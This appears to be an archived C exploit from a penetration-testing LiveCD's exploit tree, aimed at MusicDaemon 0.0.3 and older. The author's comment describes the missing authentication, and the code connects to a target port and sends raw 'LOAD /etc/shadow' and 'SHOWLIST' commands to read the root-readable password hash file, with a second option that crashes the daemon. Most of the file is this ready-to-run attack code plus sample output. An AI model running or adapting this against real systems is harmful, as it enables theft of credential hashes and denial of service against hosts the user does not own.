home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / media / sound / md-xplv2.c < prev   
C/C++ Source or Header  |  2005-02-12  |  5KB  |  208 lines

  1. /* MusicDaemon <= 0.0.3 v2 Remote /etc/shadow
  2. Stealer / DoS
  3. * Vulnerability discovered by: Tal0n 05-22-04
  4. * Exploit code by: Tal0n 05-22-04
  5. *
  6. * Greets to: atomix, vile, ttl, foxtrot, uberuser,
  7. d4rkgr3y, blinded, wsxz,
  8. * serinth, phreaked, h3x4gr4m, xaxisx, hex, phawnky,
  9. brotroxer, xires,
  10. * bsdaemon, r4t, mal0, drug5t0r3, skilar, lostbyte,
  11. peanuter, and over_g
  12. *
  13. * MusicDaemon MUST be running as root, which it does
  14. by default anyways.
  15. * Tested on Slackware 9 and Redhat 9, but should work
  16. generically since the
  17. * nature of this vulnerability doesn't require
  18. shellcode or return
  19. addresses.
  20. *
  21.  
  22. Client Side View:
  23.  
  24.   root@vortex:~/test# ./md-xplv2 127.0.0.1 1234
  25. shadow
  26.  
  27.   MusicDaemon <= 0.0.3 Remote /etc/shadow Stealer
  28.  
  29.   Connected to 127.0.0.1:1234...
  30.   Sending exploit data...
  31.  
  32.   <*** /etc/shadow file from 127.0.0.1 ***>
  33.  
  34.   Hello
  35.   <snipped for privacy>
  36.   ......
  37.   bin:*:9797:0:::::
  38.   ftp:*:9797:0:::::
  39.   sshd:*:9797:0:::::
  40.   ......
  41.   </snipped for privacy>
  42.  
  43.   <*** End /etc/shadow file ***>
  44.  
  45.   root@vortex:~/test#
  46.  
  47. Server Side View:
  48.  
  49.   root@vortex:~/test/musicdaemon-0.0.3/src# ./musicd
  50. -c ../musicd.conf -p
  51. 1234
  52.   Using configuration: ../musicd.conf
  53.   [Mon May 17 05:26:07 2004] cmd_set() called
  54.   Binding to port 5555.
  55.   [Mon May 17 05:26:07 2004] Message for nobody:
  56. VALUE: LISTEN-PORT=5555
  57.   [Mon May 17 05:26:07 2004] cmd_modulescandir()
  58. called
  59.   [Mon May 17 05:26:07 2004] cmd_modulescandir()
  60. called
  61.   Binding to port 1234.
  62.   [Mon May 17 05:26:11 2004] New connection!
  63.   [Mon May 17 05:26:11 2004] cmd_load() called
  64.   [Mon May 17 05:26:13 2004] cmd_show() called
  65.   [Mon May 17 05:26:20 2004] Client lost.
  66.  
  67. *
  68. * As you can see, it simply makes a connection, sends
  69. the commands, and
  70. * leaves. MusicDaemon doesn't even log that new
  71. connection's IPs that I
  72. * know of. Works very well, eh? :)
  73. *
  74. * The vulnerability is in where the is no
  75. authenciation for 1. For 2, it
  76. * will let you "LOAD" any file on the box if you have
  77. the correct
  78. privledges,
  79. * and by default, as I said before, it runs as root,
  80. unless you change the
  81. * configuration file to make it run as a different
  82. user.
  83. *
  84. * After we "LOAD" the /etc/shadow file, we do a
  85. "SHOWLIST" so we can grab
  86. * the contents of the actual file. You can subtitute
  87. any file you want in
  88. * for /etc/shadow, I just coded it to grab it because
  89. it being such an
  90. * important system file if you know what I mean ;).
  91. *
  92. * As for the DoS, if you "LOAD" any binary on the
  93. system, then use
  94. "SHOWLIST",
  95. * it will crash music daemon.
  96. *
  97. *
  98. */
  99.  
  100.  
  101. #include <stdio.h>
  102. #include <stdlib.h>
  103. #include <sys/types.h>
  104. #include <sys/socket.h>
  105. #include <netinet/in.h>
  106.  
  107. int main(int argc, char *argv[]) {
  108.  
  109. char buffer[16384];
  110.  
  111. char *xpldata1 = "LOAD /etc/shadow\r\n";
  112. char *xpldata2 = "SHOWLIST\r\n";
  113. char *xpldata3 = "CLEAR\r\n";
  114. char *dosdata1 = "LOAD /bin/cat\r\n";
  115. char *dosdata2 = "SHOWLIST\r\n";
  116. char *dosdata3 = "CLEAR\r\n";
  117.  
  118. int len1 = strlen(xpldata1);
  119. int len2 = strlen(xpldata2);
  120. int len3 = strlen(xpldata3);
  121. int len4 = strlen(dosdata1);
  122. int len5 = strlen(dosdata2);
  123. int len6 = strlen(dosdata3);
  124.  
  125. if(argc !=  4) {
  126. printf("\nMusicDaemon <= 0.0.3 Remote /etc/shadow Stealer / DoS");
  127. printf("\nDiscovered and Coded by: Tal0n 05-22-04\n");
  128. printf("\nUsage: %s <host> <port> <option>\n",
  129. argv[0]);
  130. printf("\nOptions:");
  131. printf("\n\t\tshadow - Steal /etc/shadow file");
  132. printf("\n\t\tdos - DoS Music Daemon\n\n");
  133. return 0; }
  134.  
  135. printf("\nMusicDaemon <= 0.0.3 Remote /etc/shadow Stealer / DoS\n\n");
  136.  
  137. int sock;
  138. struct sockaddr_in remote;
  139.  
  140. remote.sin_family = AF_INET;
  141. remote.sin_port = htons(atoi(argv[2]));
  142. remote.sin_addr.s_addr = inet_addr(argv[1]);
  143.  
  144. if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  145. printf("\nError: Can't create socket!\n\n");
  146. return -1; }
  147.  
  148. if(connect(sock,(struct sockaddr *)&remote,
  149. sizeof(struct sockaddr)) < 0) {
  150. printf("\nError: Can't connect to %s:%s!\n\n",
  151. argv[1], argv[2]);
  152. return -1; }
  153.  
  154. printf("Connected to %s:%s...\n", argv[1], argv[2]);
  155.  
  156. if(strcmp(argv[3], "dos") == 0) {
  157.  
  158. printf("Sending DoS data...\n");
  159.  
  160. send(sock, dosdata1, len4, 0);
  161.  
  162. sleep(2);
  163.  
  164. send(sock, dosdata2, len5, 0);
  165.  
  166. sleep(2);
  167.  
  168. send(sock, dosdata3, len6, 0);
  169.  
  170. printf("\nTarget %s DoS'd!\n\n", argv[1]);
  171.  
  172. return 0; }
  173.  
  174. if(strcmp(argv[3], "shadow") == 0) {
  175.  
  176. printf("Sending exploit data...\n");
  177.  
  178. send(sock, xpldata1, len1, 0);
  179.  
  180. sleep(2);
  181.  
  182. send(sock, xpldata2, len2, 0);
  183.  
  184. sleep(5);
  185.  
  186. printf("Done! Grabbing /etc/shadow...\n");
  187.  
  188. memset(buffer, 0, sizeof(buffer));
  189. read(sock, buffer, sizeof(buffer));
  190.  
  191. sleep(2);
  192.  
  193. printf("\n<*** /etc/shadow file from %s ***>\n\n",
  194. argv[1]);
  195. printf("%s", buffer);
  196. printf("\n<*** End /etc/shadow file ***>\n\n");
  197.  
  198. send(sock, xpldata3, len3, 0);
  199.  
  200. sleep(1);
  201.  
  202. close(sock);
  203.  
  204. return 0; }
  205.  
  206. return 0; }
  207.  
  208.